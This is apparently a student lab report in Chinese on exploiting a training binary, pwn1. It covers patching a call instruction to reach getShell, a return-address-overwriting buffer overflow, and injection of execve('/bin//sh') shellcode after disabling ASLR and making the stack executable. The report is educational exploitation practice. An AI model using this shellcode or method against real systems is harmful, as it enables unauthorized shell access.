一、实验内容
需要回答的问题在第二部分里面
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:0x90
空指令；运行该指令时单片机什么都不做，但是会占用一个指令的时间；当指令间需要有延时时，可以插入“NOP”指令。
JNE:0x75
条件转移指令；ZF标志位为0时跳转。
JE:0x74
条件转移指令；ZF标志位为1时跳转。
JMP:0xEB(Jmp short) 0xE9(Jmp near) 0xFF(Jmp word)0xEA(Jmp far)
无条件跳转指令；可转到内存中任何程序段。转移地址可在指令中给出，也可以在寄存器中给出，或在储存器中指出。
CMP:
0x38(reg8/mem8,reg8)
0x39(reg16/mem16,reg16）
0x3A(reg8,reg8/mem8)
0x3B(reg16,reg16/mem16)
0x3C(al,immed8)
0x3D(ax,immed16)
用于（通过两数相减的方法）比较两个数的大小，同时会更新标志寄存器。
2、掌握反汇编与十六进制编程器
（1）反汇编
通过反汇编查找含有跳转指令的汇编行，修改该部分的机器代码使之跳转至getShell函数（其中getShell等函数地址也通过反汇编查询）。
指令为objdump -d xxx。
（2）十六进制编辑器
用来以16进制视图进行文本编辑的编辑工具软件。
一般用vim+xxd。
3、能正确修改机器指令改变程序执行流程
（1）从实验指导书的码云连接中下载pwn1.zip并进行解压，然后保存至虚拟机。
（2）用objdump -d pwn1将pwn1反汇编，得到以下代码：
（3）在main函数中，发现80484b5: e8 d7 ff ff ff call 8048491 < foo >这条汇编指令，调用位于地址8048491处的foo函数，e8表示“call”，即跳转。
如果我们想让函数调用getShell，只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量，我们计算出应该改为c3 ff ff ff。
修改的具体步骤如下：
- vi pwn1进入命令模式
- 输入:%!xxd将显示模式切换为十六进制
- 在底行模式输入/e8d7定位需要修改的地方，并确认
- 进入插入模式，修改d7为c3
- 输入:%!xxd -r将十六进制转换为原格式
- 使用:wq保存并退出
（4）修改结束后，再次反汇编进行查看，可以调用getShell：
（5）运行修改后代码pwn2：
4、能正确构造payload进行bof攻击
（1）使用objdump -d pwn1 | more对pwn1进行反汇编（全屏幕方式按页显示反汇编的内容）
（2）pwn1正常运行是调用函数foo，这个函数存在Buffer overflow漏洞。接下来我们的任务是覆盖返回地址。
（3）根据汇编指令lea -0x1c(%ebp),%eax，我们可以知道系统只预留了28字节的缓冲区，超出部分会造成溢出，覆盖返回地址。
（4）进入gdb，尝试输入字符串1111111122222222333333334444444412345678，估计 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。
根据EIP的值发现溢出的值确实为1234（ASCII码为32 33 34 35），不过次序为倒序。那么如果我们想让程序不去调用函数foo，而是调用函数getShell，那只要把1234这四个字符替换为 getShell 内存地址的倒序，输给pwn1，pwn1就会运行getShell了。
（5）根据上一个实验内容的pwn1的反汇编截图，找到getShell的内存地址为0804847d，把1234替换为0804847d的倒序，即\x7d\x84\x04\x08
5、注入Shellcode并执行
（1）准备工作（用apt-get install execstack安装execstack要）
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
（2）选择retaddr+nops+shellcode结构来攻击buf
perl -e 'print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'
> input_shellcode
（3）打开两个终端。终端1注入攻击buf，终端2查看pwn1的进程号
（4）用gdb调试该进程，并通过设置断点，来查看注入buf的内存地址
（5）使用break *0x080484ae设置断点，并输入c继续运行。在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp查找地址
（6）使用x/16x 0xffffd33c查看其存放内容，看到了01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是 0xffffd340。
（7）将之前的\x4\x3\x2\x1改为这个地址，然后再次执行程序
二、实验总结
1、遇到的问题及解决方法
- 问题：在用./pwn2执行pwn2时出现 bash： ./pwn1:没有那个文件或目录的提示，但是用ls命令又能看到存在pwn1文件
- 解决方法：在百度搜了一些资料之后，发现是因为我安装的64位kali没有32位运行库。
参考：https://www.cnblogs.com/zl20154312/p/8511455.html
2、实验收获与感想
看到内容有点多的时候就开始想拖了，不过在看了老师给的实验指导书以及一些学长学姐的参考博客之后，还算进展的比较顺利，虽然中间也遇到了一些问题，不过搜搜百度还是可以解决的。
做完实验之后，感觉汇编的用到的地方很多，感觉得回头再翻翻汇编书。
3、什么是漏洞？漏洞有什么危害？
- 漏洞：漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。
- 漏洞的危害：漏洞的存在，很容易导致黑客的侵入及病毒的驻留，会导致数据丢失和篡改、隐私泄露乃至金钱上的损失，如：网站因漏洞被入侵，网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。目前数码产品发展，漏洞从过去以电脑为载体延伸至数码平台，如手机二维码漏洞，安卓应用程序漏洞等等